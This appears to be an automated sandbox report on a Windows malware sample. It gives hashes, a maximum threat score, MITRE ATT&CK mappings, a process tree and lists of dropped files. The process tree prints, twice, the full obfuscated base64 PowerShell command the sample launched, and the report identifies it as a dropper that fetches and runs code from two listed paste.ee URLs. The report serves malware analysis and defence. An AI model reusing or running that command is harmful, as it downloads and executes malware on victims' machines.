ae5b97a11193dc484bd0d88ade0cd05bb667dd5f5e6155f7834f333b5d3c10c5

General

Target

ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe
Size

848KB
MD5

ff9b596a9adcef01014d3664ea827cd4
SHA1

ef1e9dbe82ed76915dbd80cf8d315703edd63e71
SHA256

ae5b97a11193dc484bd0d88ade0cd05bb667dd5f5e6155f7834f333b5d3c10c5
SHA512

13522af4c61523ffc6da14cdd681be0bada5ccedc7164501776640c9df1555fcc7ec67e9a986e4f8f168d3a0220a2042f78779e00f13c21ea3089284bb143750
SSDEEP

24576:uAHnh+eWsN3skA4RV1Hom2KXMmHazU15:Zh+ZkldoPK8YazK

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://paste.ee/r/h7YEj

ps1.dropper

https://paste.ee/r/pcnHb

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	4456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3296	powershell.exe
4456	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3296	powershell.exe
3296	powershell.exe
4456	powershell.exe
4456	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 3296	996	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	82
PID 996 wrote to memory of 3296	996	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	82
PID 996 wrote to memory of 3296	996	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	82
PID 3296 wrote to memory of 4456	3296	powershell.exe	84
PID 3296 wrote to memory of 4456	3296	powershell.exe	84
PID 3296 wrote to memory of 4456	3296	powershell.exe	84

C:\Users\Admin\AppData\Local\Temp\ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /`e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AaAA3AFkARQBqACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBwAGMAbgBIAGIAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AaAA3AFkARQBqACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBwAGMAbgBIAGIAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
f4a84384aec72cfd31a47700e8200a47

SHA1
87468b9d6c00188b578712f4b6a1d42084e61f68

SHA256
f432e2e58c7d263ac1d6f62820f9e29ab08c031969047b37fa49797e2de1c6cb

SHA512
df989fc62059cbebb1c1c6e2727698ef032535187631774a63826683a23004b5ca8042467a471486e4eaeb0d08ec106f63cd21c434ed261b731c03e40623a5f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
d1b3d1e9c215762ce410fe4fcee6d278

SHA1
9ac95ec38f0eb252d0e0bc57a7aa98ce3344eee4

SHA256
4557e0703c27e1050b4a8b617e3b6b1f87f06f75f4a48a2eea07a9d8aa652b9f

SHA512
6c63a7b76914bc1a00f43e123f40945027dde360f12f26c487f11a26026772fd15575a8c60acde779766772330f1f19836b71b69e5c562f99389ccfb48891fe7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ig3wngkf.ocz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3296-18-0x0000000006250000-0x000000000626E000-memory.dmp

Filesize
120KB

Download
memory/3296-3-0x0000000005500000-0x0000000005B28000-memory.dmp

Filesize
6.2MB

Download
memory/3296-5-0x0000000005390000-0x00000000053B2000-memory.dmp

Filesize
136KB

Download
memory/3296-6-0x0000000005BA0000-0x0000000005C06000-memory.dmp

Filesize
408KB

Download
memory/3296-7-0x0000000005C10000-0x0000000005C76000-memory.dmp

Filesize
408KB

Download
memory/3296-2-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/3296-17-0x0000000005C80000-0x0000000005FD4000-memory.dmp

Filesize
3.3MB

Download
memory/3296-0-0x000000007469E000-0x000000007469F000-memory.dmp

Filesize
4KB

Download
memory/3296-19-0x0000000006280000-0x00000000062CC000-memory.dmp

Filesize
304KB

Download
memory/3296-4-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/3296-41-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/3296-1-0x0000000002920000-0x0000000002956000-memory.dmp

Filesize
216KB

Download
memory/4456-20-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/4456-33-0x0000000007B50000-0x00000000081CA000-memory.dmp

Filesize
6.5MB

Download
memory/4456-34-0x00000000072F0000-0x000000000730A000-memory.dmp

Filesize
104KB

Download
memory/4456-37-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/4456-32-0x0000000006500000-0x000000000659C000-memory.dmp

Filesize
624KB

Download
memory/4456-22-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/4456-21-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download

Analysis

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